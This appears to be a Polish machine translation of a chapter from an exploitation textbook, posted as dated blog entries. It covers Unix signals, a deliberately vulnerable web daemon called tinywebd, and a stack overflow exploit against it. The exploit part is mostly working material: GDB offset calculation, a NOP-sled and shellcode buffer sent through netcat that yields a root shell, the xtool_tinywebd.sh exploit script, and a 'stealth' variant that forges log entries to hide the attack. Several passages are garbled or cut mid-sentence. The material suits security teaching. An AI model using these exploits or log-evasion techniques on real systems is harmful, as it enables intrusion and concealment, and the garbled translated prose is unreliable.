(This function forks, and if the fork() succeeds, the parent does _exit(0), so that further errors are seen by the child only.) On success zero will be returned. If an error occurs, daemon() returns -1 and sets the global variable errno to any of the errors specified for the library functions fork(2) and setsid(2). Demony systemowe działają odłączone od terminala sterującego, więc nowy kod demona tinyweb zapisuje do pliku dziennika. Bez terminala sterującego demony systemowe są zazwyczaj sterowane sygnałami. Nowy program demona tinyweb będzie musiał złapać sygnał zakończenia, aby mógł być czysty po zabiciu.

Powrót

22.09.2020

Crash Course in Signals

Sygnały zapewniają metodę komunikacji międzyprocesowej w Uniksie. Gdy proces otrzymuje sygnał, jego przepływ wykonawczy zostaje przerwany przez system operacyjny, aby wywołać obsługę sygnału. Sygnały są identyfikowane przez liczbę, a każdy z nich ma domyślny program obsługi sygnału. Na przykład, gdy CTRL-C jest wpisane w terminalu sterującym programu, wysyłany jest sygnał przerwania, który ma domyślny program obsługi sygnału, który wychodzi z programu. Pozwala to na przerwanie programu, nawet jeśli utknął on w nieskończonej pętli. Niestandardowe procedury obsługi sygnałów można zarejestrować za pomocą funkcji signal (). W poniższym przykładzie kodu kilka procedur obsługi sygnałów jest zarejestrowanych dla pewnych sygnałów, podczas gdy kod główny zawiera nieskończoną pętlę.

signal_example.c



#include < stdio.h >

#include < stdlib.h >

#include < signal.h >

/* Some labeled signal defines from signal.h

* #define SIGHUP 1 Hangup

* #define SIGINT 2 Interrupt (Ctrl-C)

* #define SIGQUIT 3 Quit (Ctrl-\)

* #define SIGILL 4 Illegal instruction

* #define SIGTRAP 5 Trace/breakpoint trap

* #define SIGABRT 6 Process aborted

* #define SIGBUS 7 Bus error

* #define SIGFPE 8 Floating point error

* #define SIGKILL 9 Kill

* #define SIGUSR1 10 User defined signal 1

* #define SIGSEGV 11 Segmentation fault

* #define SIGUSR2 12 User defined signal 2

* #define SIGPIPE 13 Write to pipe with no one reading

* #define SIGALRM 14 Countdown alarm set by alarm()

* #define SIGTERM 15 Termination (sent by kill command)

* #define SIGCHLD 17 Child process signal

* #define SIGCONT 18 Continue if stopped

* #define SIGSTOP 19 Stop (pause execution)

* #define SIGTSTP 20 Terminal stop [suspend] (Ctrl-Z)

* #define SIGTTIN 21 Background process trying to read stdin

* #define SIGTTOU 22 Background process trying to read stdout

*/

/* A signal handler */

void signal_handler(int signal) {

printf("Caught signal %d\t", signal);

if (signal == SIGTSTP)

printf("SIGTSTP (Ctrl-Z)");

else if (signal == SIGQUIT)

printf("SIGQUIT (Ctrl-\\)");

else if (signal == SIGUSR1)

printf("SIGUSR1");

else if (signal == SIGUSR2)

printf("SIGUSR2");

printf("\n");

}

void sigint_handler(int x) {

printf("Caught a Ctrl-C (SIGINT) in a separate handler\nExiting.\n");

exit(0);

}

int main() {

/* Registering signal handlers */

signal(SIGQUIT, signal_handler); // Set signal_handler() as the

signal(SIGTSTP, signal_handler); // signal handler for these

signal(SIGUSR1, signal_handler); // signals.

signal(SIGUSR2, signal_handler);

signal(SIGINT, sigint_handler); // Set sigint_handler() for SIGINT.

while(1) {} // Loop forever.

}

Gdy ten program jest kompilowany i uruchamiany, procedury obsługi sygnałów są rejestrowane, a program wchodzi w nieskończoną pętlę. Nawet jeśli program utknie w pętli, przychodzące sygnały przerywają wykonywanie i wywołują zarejestrowane procedury obsługi sygnałów. Na wyjściu poniżej wykorzystywane są sygnały, które mogą być wyzwalane z terminala sterującego. Po zakończeniu funkcja signal_handler () zwraca wykonanie z powrotem do przerwanej pętli, podczas gdy funkcja sigint_handler () zamyka program.

reader@hacking:~/booksrc $ gcc -o signal_example signal_example.c

reader@hacking:~/booksrc $ ./signal_example

Caught signal 20 SIGTSTP (Ctrl-Z)

Caught signal 3 SIGQUIT (Ctrl-\)

Caught a Ctrl-C (SIGINT) in a separate handler

Exiting.

reader@hacking:~/booksrc $

Specyficzne sygnały mogą być wysyłane do procesu za pomocą polecenia kill. Domyślnie polecenie kill wysyła sygnał zakończenia (SIGTERM) do procesu. Za pomocą przełącznika wiersza polecenia -l kill wyświetla wszystkie możliwe sygnały. Na wyjściu poniżej sygnały SIGUSR1 i SIGUSR2 są wysyłane do programu signal_example wykonywanego w innym terminalu.

reader@hacking:~/booksrc $ kill -l

1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL

5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE

9) SIG KILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2

13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT

17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP

21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU

25) SIGXFSZ 26) SIGVTALRM 27) SIGPROF 28) SIGWINCH

29) SIGIO 30) SIGPWR 31) SIGSYS 34) SIGRTMIN

35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 38) SIGRTMIN+4

39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8

43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12

47) SIGRTMIN+13 48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14

51) SIGRTMAX-13 52) SIGRTMAX-12 53) SIGRTMAX-11 54) SIGRTMAX-10

55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6

59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2

63) SIGRTMAX-1 64) SIGRTMAX

reader@hacking:~/booksrc $ ps a | grep signal_example

24491 pts/3 R+ 0:17 ./signal_example

24512 pts/1 S+ 0:00 grep signal_example

reader@hacking:~/booksrc $ kill -10 24491

reader@hacking:~/booksrc $ kill -12 24491

reader@hacking:~/booksrc $ kill -9 24491

reader@hacking:~/booksrc $

Wreszcie, sygnał SIGKILL jest wysyłany za pomocą kill -9. Obsługującego ten sygnał nie można zmienić, więc kill -9 może być zawsze użyty do zabicia procesów. W drugim terminalu działający przykład signal_example pokazuje sygnały, które są wychwytywane, a proces zostaje zabity

reader@hacking:~/booksrc $ ./signal_example

Caught signal 10 SIGUSR1

Caught signal 12 SIGUSR2

Killed

reader@hacking:~/booksrc $

Same sygnały są dość proste; jednak komunikacja międzyprocesowa może szybko stać się złożoną siecią zależności. Na szczęście w nowym demonie tinyweb sygnały są używane tylko do czystego zakończenia, więc implementacja jest prosta.

Powrót

23.09.2020

Tinyweb Daemon

Ta nowsza wersja programu tinyweb jest demonem systemowym, który działa w tle bez terminala sterującego. Zapisuje swoje dane wyjściowe do pliku dziennika ze znacznikami czasowymi i nasłuchuje sygnału zakończenia (SIGTERM), aby mógł zostać wyłączony czysto, gdy zostanie zabity. Te dodatki są dość niewielkie, ale zapewniają znacznie bardziej realistyczny cel wykorzystania. Nowe części kodu są pogrubione na liście poniżej.

tinywebd.c

#include < sys/stat.h >

#include < sys/socket.h >

#include < netinet/in.h >

#include < arpa/inet.h >

#include < sys/types.h >

#include < sys/stat.h >

#include < fcntl.h >

#include < time.h >

#include < signal.h >

#include "hacking.h"

#include "hacking-network.h"

#define PORT 80 // The port users will be connecting to

#define WEBROOT "./webroot" // The webserver's root directory

#define LOGFILE "/var/log/tinywebd.log" // Log filename

int logfd, sockfd; // Global log and socket file descriptors

void handle_connection(int, struct sockaddr_in *, int);

int get_file_size(int); // Returns the file size of open file descriptor

void timestamp(int); // Writes a timestamp to the open file descriptor

// This function is called when the process is killed.

void handle_shutdown(int signal) {

timestamp(logfd);

write(logfd, "Shutting down.\n", 16);

close(logfd);

close(sockfd);

exit(0);

}

int main(void) {

int new_sockfd, yes=1;

struct sockaddr_in host_addr, client_addr; // My address information

socklen_t sin_size;

logfd = open(LOGFILE, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);

if(logfd == -1)

fatal("opening log file");

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)

fatal("in socket");

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)

fatal("setting socket option SO_REUSEADDR");

printf("Starting tiny web daemon.\n");

if(daemon(1, 0) == -1) // Fork to a background daemon process.

fatal("forking to daemon process");

signal(SIGTERM, handle_shutdown); // Call handle_shutdown when killed.

signal(SIGINT, handle_shutdown); // Call handle_shutdown when interrupted.

timestamp(logfd);

write(logfd, "Starting up.\n", 15);

host_addr.sin_family = AF_INET; // Host byte order

host_addr.sin_port = htons(PORT); // Short, network byte order

host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP.

memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)

fatal("binding to socket");

if (listen(sockfd, 20) == -1)

fatal("listening on socket");

while(1) { // Accept loop.

sin_size = sizeof(struct sockaddr_in);

new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

if(new_sockfd == -1)

fatal("accepting connection");

handle_connection(new_sockfd, &client_addr, logfd);

}

return 0;

}

/* This function handles the connection on the passed socket from the

*.passed client address and logs to the passed FD. The connection is

*.processed as a web request and this function replies over the connected

*.socket. Finally, the passed socket is closed at the end of the function.

*/

void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd) {

unsigned char *ptr, request[500], resource[500], log_buffer[500];

int fd, length;

length = recv_line(sockfd, request);

sprintf(log_buffer, "From %s:%d \"%s\"\t", inet_ntoa(client_addr_ptr->sin_addr), ntohs(client_addr_ptr->sin_port), request);

ptr = strstr(request, " HTTP/"); // Search for valid-looking request.

if(ptr == NULL) { // Then this isn't valid HTTP

strcat(log_buffer, " NOT HTTP!\n");

} else {

*ptr = 0; // Terminate the buffer at the end of the URL.

ptr = NULL; // Set ptr to NULL (used to flag for an invalid request).

if(strncmp(request, "GET ", 4) == 0) // Get request

ptr = request+4; // ptr is the URL.

if(strncmp(request, "HEAD ", 5) == 0) // Head request

ptr = request+5; // ptr is the URL.

if(ptr == NULL) { // Then this is not a recognized request

strcat(log_buffer, " UNKNOWN REQUEST!\n");

} else { // Valid request, with ptr pointing to the resource name

if (ptr[strlen(ptr) - 1] == '/') // For resources ending with '/',

strcat(ptr, "index.html"); // add 'index.html' to the end.

strcpy(resource, WEBROOT); // Begin resource with web root path

strcat(resource, ptr); // and join it with resource path.

fd = open(resource, O_RDONLY, 0); // Try to open the file.

if(fd == -1) { // If file is not found

strcat(log_buffer, " 404 Not Found\n");

send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");

send_string(sockfd, "Server: Tiny webserver\r\n\r\n");

send_string(sockfd, "404 Not Found");

send_string(sockfd, "

URL not found

\r\n");

} else { // Otherwise, serve up the file.

strcat(log_buffer, " 200 OK\n");

send_string(sockfd, "HTTP/1.0 200 OK\r\n");

send_string(sockfd, "Server: Tiny webserver\r\n\r\n");

if(ptr == request + 4) { // Then this is a GET request

if( (length = get_file_size(fd)) == -1)

fatal("getting resource file size");

if( (ptr = (unsigned char *) malloc(length)) == NULL)

fatal("allocating memory for reading resource");

read(fd, ptr, length); // Read the file into memory.

send(sockfd, ptr, length, 0); // Send it to socket.

free(ptr); // Free file memory.

}

close(fd); // Close the file.

} // End if block for file found/not found.

} // End if block for valid request.

} // End if block for valid HTTP.

timestamp(logfd);

length = strlen(log_buffer);

write(logfd, log_buffer, length); // Write to the log.

shutdown(sockfd, SHUT_RDWR); // Close the socket gracefully.

} /* This function accepts an open file descriptor and returns

* the size of the associated file. Returns -1 on failure.

*/ int get_file_size(int fd) {

struct stat stat_struct;

if(fstat(fd, &stat_struct) == -1)

return -1;

return (int) stat_struct.st_size;

} /* This function writes a timestamp string to the open file descriptor *.passed to it.

*/ void timestamp(fd) {

time_t now;

struct tm *time_struct;

int length;

char time_buffer[40];

time(&now); // Get number of seconds since epoch.

time_struct = localtime((const time_t *)&now); // Convert to tm struct.

length = strftime(time_buffer, 40, "%m/%d/%Y %H:%M:%S> ", time_struct);

write(fd, time_buffer, length); // Write timestamp string to log.

} Demon ten rozwidla się w tle, zapisuje do pliku dziennika ze znacznikami czasu i bezproblemowo kończy działanie, gdy zostanie zabity. Deskryptor pliku dziennika i gniazdo odbierające połączenia są zadeklarowane jako globale, więc mogą być czysto zamknięte za pomocą funkcji handle_shutdown (). Ta funkcja jest ustawiona jako program obsługi wywołania zwrotnego dla terminatora i przerywać sygnały, co pozwala programowi bezpiecznie wyjść, gdy zostanie zabite poleceniem kill. Poniższe dane pokazują, że program został skompilowany, wykonany i zabity. Zauważ, że plik dziennika zawiera znaczniki czasu oraz komunikat o zamknięciu, gdy program przechwytuje sygnał zakończenia i wywołuje handle_shutdown (), aby wyjść z wdziękiem.

reader@hacking:~/booksrc $ gcc -o tinywebd tinywebd.c

reader@hacking:~/booksrc $ sudo chown root ./tinywebd

reader@hacking:~/booksrc $ sudo chmod u+s ./tinywebd

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ ./webserver_id 127.0.0.1

The web server for 127.0.0.1 is Tiny webserver

reader@hacking:~/booksrc $ ps ax | grep tinywebd

25058 ? Ss 0:00 ./tinywebd

25075 pts/3 R+ 0:00 grep tinywebd

reader@hacking:~/booksrc $ kill 25058

reader@hacking:~/booksrc $ ps ax | grep tinywebd

25121 pts/3 R+ 0:00 grep tinywebd

reader@hacking:~/booksrc $ cat /var/log/tinywebd.log

cat: /var/log/tinywebd.log: Permission denied

reader@hacking:~/booksrc $ sudo cat /var/log/tinywebd.log

07/22/2007 17:55:45> Starting up.

07/22/2007 17:57:00> From 127.0.0.1:38127 "HEAD / HTTP/1.0" 200 OK

07/22/2007 17:57:21> Shutting down.

reader@hacking:~/booksrc $

Ten tinywebd program obsługuje zawartość HTTP tak jak oryginalny program tinyweb, ale zachowuje się jak demon systemowy, odłączając się od terminala sterującego i zapisując do pliku dziennika. Oba programy są podatne na ten sam exploit przepełnienia; jednak eksploatacja to dopiero początek. Używając nowego demona tinyweb jako bardziej realistycznego celu, dowiesz się, jak uniknąć wykrycia po włamaniu.

Powrót

24.09.2020

Narzędzia pracy

Z realistycznym styosownym celem , przeskoczmy z powrotem na stronę napastnika. Dla tego rodzaju ataków skrypty exploitów są niezbędnym narzędziem handlu. Podobnie jak zestaw wytrychów w rękach profesjonalistów, exploity otwierają hakerowi wiele drzwi. Poprzez staranne manipulowanie mechanizmami wewnętrznymi bezpieczeństwo można całkowicie pominąć. W poprzednich sekcjach napisaliśmy kod exploita w C i ręcznie wykorzystaliśmy luki w linii poleceń. Drobna granica między programem exploitów a narzędziem wykorzystującym exploity to kwestia finalizacji i rekonfiguracji. Programy wykorzystujące luki bardziej przypominają broń niż narzędzia. Podobnie jak broń, program exploit ma osobne narzędzie, a interfejs użytkownika jest tak prosty, jak pociągnięcie za spust. Zarówno pistolety, jak i programy wykorzystujące exploity to gotowe produkty, z których mogą korzystać niewykwalifikowani ludzie z niebezpiecznymi skutkami. Natomiast narzędzia exploitów zwykle nie są gotowymi produktami, ani nie są przeznaczone dla innych. Zrozumienie programowania jest naturalne, że haker zacznie pisać własne skrypty i narzędzia wspomagające eksploatację. Te spersonalizowane narzędzia automatyzują żmudne zadania i ułatwiają eksperymentowanie. Podobnie jak konwencjonalne narzędzia, mogą być wykorzystywane do wielu celów, rozszerzając umiejętności użytkownika.

tinywebd Exploit Tool

Dla demona tinyweb chcemy narzędzia exploitów, które pozwoli nam eksperymentować z lukami. Podobnie jak przy opracowywaniu naszych poprzednich exploitów, GDB jest używany jako pierwszy do określenia szczegółów tej luki, takich jak przesunięcia. Przesunięcie adresu zwrotnego będzie takie samo jak w oryginalnym programie tinyweb.c, ale program demonów stanowi dodatkowe wyzwanie. Demon wywołuje proces, uruchamiając resztę programu w procesie potomnym, podczas gdy proces macierzysty kończy działanie. W wynikach poniżej punkt przerwania jest ustawiany po wywołaniu daemon (), ale debuger nigdy go nie uderza.

reader@hacking:~/booksrc $ gcc -g tinywebd.c

reader@hacking:~/booksrc $ sudo gdb -q ./a.out

warning: not using untrusted file "/home/reader/.gdbinit"

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

(gdb) list 47

42

43 if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)

44 fatal("setting socket option SO_REUSEADDR");

45

46 printf("Starting tiny web daemon.\n");

47 if(daemon(1, 1) == -1) // Fork to a background daemon process.

48 fatal("forking to daemon process");

49

50 signal(SIGTERM, handle_shutdown); // Call handle_shutdown when killed.

51 signal(SIGINT, handle_shutdown); // Call handle_shutdown when interrupted.

(gdb) break 50

Breakpoint 1 at 0x8048e84: file tinywebd.c, line 50.

(gdb) run

Starting program: /home/reader/booksrc/a.out

Starting tiny web daemon.

Program exited normally.

(gdb)

Po uruchomieniu program kończy działanie. Aby debugować ten program, GDB musi zostać poinformowany, aby podążał za procesem potomnym, w przeciwieństwie do podążania za rodzicem. Odbywa się to poprzez ustawienie trybu podążania za widelcem na dziecko. Po tej zmianie debuger będzie śledził wykonanie w procesie potomnym, w którym punkt przerwania może zostać trafiony.

(gdb) set follow-fork-mode child

(gdb) help set follow-fork-mode

Set debugger response to a program call of fork or vfork.

A fork or vfork creates a new process. follow-fork-mode can be:

parent - the original process is debugged after a fork

child - the new process is debugged after a fork

The unfollowed process will continue to run.

By default, the debugger will follow the parent process.

(gdb) run

Starting program: /home/reader/booksrc/a.out

Starting tiny web daemon.

[Switching to process 1051]

Breakpoint 1, main () at tinywebd.c:50

50 signal(SIGTERM, handle_shutdown); // Call handle_shutdown when killed.

(gdb) quit

The program is running. Exit anyway? (y or n) y

reader@hacking:~/booksrc $ ps aux | grep a.out

root 911 0.0 0.0 1636 416 ? Ss 06:04 0:00 /home/reader/booksrc/a.out

reader 1207 0.0 0.0 2880 748 pts/2 R+ 06:13 0:00 grep a.out

reader@hacking:~/booksrc $ sudo kill 911

reader@hacking:~/booksrc $

Dobrze jest wiedzieć, jak debugować procesy potomne, ale ponieważ potrzebujemy konkretnych wartości stosu, jest to znacznie czystsze i łatwiejsze do dołączenia do działającego procesu. Po zabiciu wszelkich zbłąkanych procesów a.out demon tinyweb jest uruchamiany z powrotem, a następnie dołączany do GDB.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon..

reader@hacking:~/booksrc $ ps aux | grep tinywebd

root 25830 0.0 0.0 1636 356 ? Ss 20:10 0:00 ./tinywebd

reader 25837 0.0 0.0 2880 748 pts/1 R+ 20:10 0:00 grep tinywebd

reader@hacking:~/booksrc $ gcc -g tinywebd.c

reader@hacking:~/booksrc $ sudo gdb -q-pid=25830 --symbols=./a.out

warning: not using untrusted file "/home/reader/.gdbinit"

Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".

Attaching to process 25830

/cow/home/reader/booksrc/tinywebd: No such file or directory.

A program is being debugged already. Kill it? (y or n) n

Program not killed.

(gdb) bt

#0 0xb7fe77f2 in ?? ()

#1 0xb7f691e1 in ?? ()

#2 0x08048f87 in main () at tinywebd.c:68

(gdb) list 68

63 if (listen(sockfd, 20) == -1)

64 fatal("listening on socket");

65

66 while(1) { // Accept loop

67 sin_size = sizeof(struct sockaddr_in);

68 new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

69 if(new_sockfd == -1)

70 fatal("accepting connection");

71

72 handle_connection(new_sockfd, &client_addr, logfd);

(gdb) list handle_connection

77 /* This function handles the connection on the passed socket from the

78 * passed client address and logs to the passed FD. The connection is

79 * processed as a web request, and this function replies over the connected

80 * socket. Finally, the passed socket is closed at the end of the function.

81 */

82 void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr, int logfd)

{

83 unsigned char *ptr, request[500], resource[500], log_buffer[500];

84 int fd, length;

85

86 length = recv_line(sockfd, request);

(gdb) break 86

Breakpoint 1 at 0x8048fc3: file tinywebd.c, line 86.

(gdb) cont

Continuing.

Wykonanie zatrzymuje się, gdy demon tinyweb czeka na połączenie. Ponownie nawiązywane jest połączenie z serwerem WWW za pomocą przeglądarki, aby przyspieszyć wykonanie kodu do punktu przerwania.

Breakpoint 1, handle_connection (sockfd=5, client_addr_ptr=0xbffff810) at tinywebd.c:86

86 length = recv_line(sockfd, request);

(gdb) bt

#0 handle_connection (sockfd=5, client_addr_ptr=0xbffff810, logfd=3) at tinywebd.c:86

#1 0x08048fb7 in main () at tinywebd.c:72

(gdb) x/x request

0xbffff5c0: 0x080484ec

(gdb) x/16x request + 500

0xbffff7b4: 0xb7fd5ff4 0xb8000ce0 0x00000000 0xbffff848

0xbffff7c4: 0xb7ff9300 0xb7fd5ff4 0xbffff7e0 0xb7f691c0

0xbffff7d4: 0xb7fd5ff4 0xbffff848 0x08048fb7 0x00000005

0xbffff7e4: 0xbffff810 0x00000003 0xbffff838 0x00000004

(gdb) x/x 0xbffff7d4 + 8

0xbffff7dc: 0x08048fb7

(gdb) p /x 0xbffff7dc - 0xbffff5c0

$1 = 0x21c

(gdb) p 0xbffff7dc - 0xbffff5c0

$2 = 540

(gdb) p /x 0xbffff5c0 + 100

$3 = 0xbffff624

(gdb) quit

The program is running. Quit anyway (and detach it)? (y or n) y

Detaching from program: , process 25830

reader@hacking:~/booksrc $

Debuger pokazuje, że bufor żądania zaczyna się od 0xbffff5c0, a przechowywany adres zwrotny jest pod 0xbffff7dc, co oznacza, że przesunięcie wynosi 540 bajtów. Najbezpieczniejsze miejsce dla kodu powłoki znajduje się w pobliżu środka 500-bajtowego buforu żądania. W wynikach poniżej tworzony jest bufor exploitów, który umieszcza kod powłoki między saniami NOP a adresem zwrotnym powtórzonym 32 razy. 128 bajtów powtarzanego adresu zwrotnego utrzymuje kod powłoki poza niebezpieczną pamięcią stosu, która może zostać nadpisana. W pobliżu bufora exploitów znajdują się również niebezpieczne bajty, które zostaną nadpisane podczas zakończenia zerowania. Aby zachować kod powłoki poza tym zakresem, przed nim umieszczany jest 100-bajtowy sanki NOP. Pozostawia bezpieczną strefę lądowania dla wskaźnika wykonania, z kodem powłoki na 0xbffff624. Poniższy wynik wykorzystuje lukę w zabezpieczeniach przy użyciu kodu powłoki loopback.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ wc -c loopback_shell

83 loopback_shell

reader@hacking:~/booksrc $ echo $((540+4 - (32*4) - 83))

333

reader@hacking:~/booksrc $ nc -l -p 31337 &

[1] 9835

reader@hacking:~/booksrc $ jobs

[1]+ Running nc -l -p 31337 &

reader@hacking:~/booksrc $ (perl -e 'print "\x90"x333'; cat loopback_shell; perl -e

'print "\

x24\xf6\xff\xbf"x32 . "\r\n"') | nc -w 1 -v 127.0.0.1 80

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ fg

nc -l -p 31337

whoami

root

Ponieważ przesunięcie adresu zwrotnego wynosi 540 bajtów, do zastąpienia adresu potrzebne jest 544 bajty. Z kodem powłoki zwrotnej na 83 bajty i nadpisanym adresem zwrotnym powtórzonym 32 razy, prosta arytmetyka pokazuje, że sanki NOP muszą mieć 333 bajty, aby poprawnie wyrównać wszystko w buforze exploita. netcat jest uruchamiany w trybie nasłuchiwania z dołączonym znakiem ampersand (&) na końcu, który wysyła proces do tła. To nasłuchuje połączenia z powrotem z kodu powłoki i może zostać wznowione później za pomocą polecenia fg (pierwszy plan). Na LiveCD symbol at (@) w wierszu polecenia zmieni kolor, jeśli istnieją zadania w tle, które można również wyświetlić za pomocą polecenia zadania. Gdy bufor exploitów jest przesyłany do netcat, opcja -w jest używana do informowania go o przekroczeniu limitu czasu po jednej sekundzie. Następnie można wznowić proces netcat w tle, który otrzymał powłokę połączenia zwrotnego. Wszystko to działa dobrze, ale jeśli używany jest kod powłoki o różnych rozmiarach, rozmiar NOP sanki musi zostać ponownie obliczony. Wszystkie te powtarzalne kroki można umieścić w jednym skrypcie powłoki. Powłoka BASH pozwala na proste struktury kontrolne. Instrukcja if na początku tego skryptu służy tylko do sprawdzania błędów i wyświetlania komunikatu użycia. Zmienne powłoki są używane do przesunięcia i nadpisywania adresu zwrotnego, dzięki czemu można je łatwo zmienić dla innego celu. Kod powłoki użyty do exploita jest przekazywany jako argument wiersza poleceń, który czyni to narzędzie użytecznym do testowania różnych kodów powłoki.

xtool_tinywebd.sh

#!/bin/sh

# A tool for exploiting tinywebd

if [ -z "$2" ]; then # If argument 2 is blank

echo "Usage: $0 < shellcode file > < target IP >"

exit

fi

OFFSET=540

RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0

echo "target IP: $2"

SIZE=`wc -c $1 | cut -f1 -d ' '`

echo "shellcode: $1 ($SIZE bytes)"

ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE))

echo "[NOP ($ALIGNED_SLED_SIZE bytes)] [shellcode ($SIZE bytes)] [ret addr

($((4*32)) bytes)]"

( perl -e "print \"\x90\"x$ALIGNED_SLED_SIZE";

cat $1;

perl -e "print \"$RETADDR\"x32 . \"\r\n\"";) | nc -w 1 -v $2 80

Zauważ, że skrypt ten powtarza adres powrotu po raz trzeci ,trzydzieści trzy, ale używa 128 bajtów (32 x 4) do obliczenia rozmiaru sań. Spowoduje to umieszczenie dodatkowej kopii adresu zwrotnego za miejscem, gdzie dyktuje przesunięcie. Czasami różne opcje kompilatora trochę przesuwają adres zwrotny, dzięki czemu exploit jest bardziej niezawodny. Poniższe dane wyjściowe pokazują, że to narzędzie jest używane do ponownego wykorzystania demona tinyweb, ale z kodem powłoki wiążącym port.

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

reader@hacking:~/booksrc $ ./xtool_tinywebd.sh portbinding_shellcode 127.0.0.1

target IP: 127.0.0.1

shellcode: portbinding_shellcode (92 bytes)

[NOP (324 bytes)] [shellcode (92 bytes)] [ret addr (128 bytes)]

localhost [127.0.0.1] 80 (www) open

reader@hacking:~/booksrc $ nc -vv 127.0.0.1 31337

localhost [127.0.0.1] 31337 (?) open

whoami

root

Teraz, gdy strona atakująca jest uzbrojona w skrypt exploitów, zastanów się, co się stanie, gdy zostanie użyty. Gdybyś był administratorem serwera z demonem tinyweb, jakie byłyby pierwsze oznaki, że zostałeś zhakowany?

Powrót

25.09.2020

Pliki dziennika

Jednym z dwóch najbardziej oczywistych oznak włamania jest plik dziennika. Plik dziennika przechowywany przez demona tinyweb jest jednym z pierwszych miejsc, w których exploity odniosły sukces, plik dziennika zachowuje boleśnie oczywisty zapis, że coś jest nie tak.

tinywebd Log File

Oczywiście w tym przypadku, gdy atakujący uzyska powłokę roota, może po prostu edytować plik dziennika, ponieważ znajduje się w tym samym systemie. W bezpiecznym przypadku W skrajnych przypadkach dzienniki są wysyłane do drukarki w celu wydrukowania, więc istnieje zapis fizyczny. Tego typu przeciwdziałania

Mieszaj z tłumem

Nawet jeśli same pliki dziennika nie mogą zostać zmienione, czasami może być rejestrowane. Pliki dziennika zwykle zawierają wiele programów demonów tinyweb, które mogą zostać oszukane, aby zarejestrować poprawny wpis dla próby wykorzystania. Spójrz na kod źródłowy i spraw, aby wpis w dzienniku wyglądał jak poprawne żądanie internetowe, jak poniżej:

07/22/2007 17:57:00> From 127.0.0.1:38127 "HEAD / HTTP/1.0" 200 OK

07/25/2007 14:49:14> From 127.0.0.1:50201 "GET / HTTP/1.1" 200 OK

07/25/2007 14:49:14> From 127.0.0.1:50202 "GET /image.jpg HTTP/1.1" 200 OK

07/25/2007 14:49:14> From 127.0.0.1:50203 "GET /favicon.ico HTTP/1.1" 404 Not Found

Ten rodzaj kamuflażu jest bardzo skuteczny w dużych przedsiębiorstwach z rozbudowanymi plikami dziennika, ponieważ jest tak wiele ważnych żądań Ale jak dokładnie ukrywasz duży, brzydki bufor exploitów w przysłowiowej owczej skórze? Jest prosty błąd w kodzie źródłowym demona tinyweb, który pozwala na obcinanie bufora żądań, gdy funkcja recv_line () używa r jako n separatora; jednak wszystkie inne standardowe funkcje łańcuchowe używają bajtu zerowego dla separatora. strategicznie używając obu ograniczników, dane zapisane w dzienniku mogą być częściowo kontrolowane. Poniższy skrypt exploita umieszcza poprawne żądanie przed resztą bufora exploitów. Sanki NOP są zmniejszone, aby pomieścić

xtool_tinywebd_stealth.sh

#!/bin/sh

# stealth exploitation tool

if [ -z "$2" ]; then # If argument 2 is blank

echo "Usage: $0 < shellcode file > < target IP >"

exit

fi

FAKEREQUEST="GET / HTTP/1.1\x00"

FR_SIZE=$(perl -e "print \"$FAKEREQUEST\"" | wc -c | cut -f1 -d ' ')

OFFSET=540

RETADDR="\x24\xf6\xff\xbf" # At +100 bytes from buffer @ 0xbffff5c0

echo "target IP: $2"

SIZE=`wc -c $1 | cut -f1 -d ' '`

echo "shellcode: $1 ($SIZE bytes)"

echo "fake request: \"$FAKEREQUEST\" ($FR_SIZE bytes)"

ALIGNED_SLED_SIZE=$(($OFFSET+4 - (32*4) - $SIZE - $FR_SIZE))

echo "[Fake Request ($FR_SIZE b)] [NOP ($ALIGNED_SLED_SIZE b)] [shellcode

($SIZE b)] [ret addr ($((4*32)) b)]"

(perl -e "print \"$FAKEREQUEST\" . \"\x90\"x$ALIGNED_SLED_SIZE";

cat $1;

perl -e "print \"$RETADDR\"x32 . \"\r\n\"") | nc -w 1 -v $2 80

Ten nowy bufor exploitów używa ogranicznika bajtów zerowych, aby zakończyć kamuflaż fałszywego żądania. Bajt zerowy nie zatrzyma recv_ Ponieważ funkcje ciągu używane do zapisu w dzienniku używają bajtu zerowego do zakończenia, fałszywe żądanie jest rejestrowane, a reszta widoku kodu:

reader@hacking:~/booksrc $ ./tinywebd

Starting tiny web daemon.

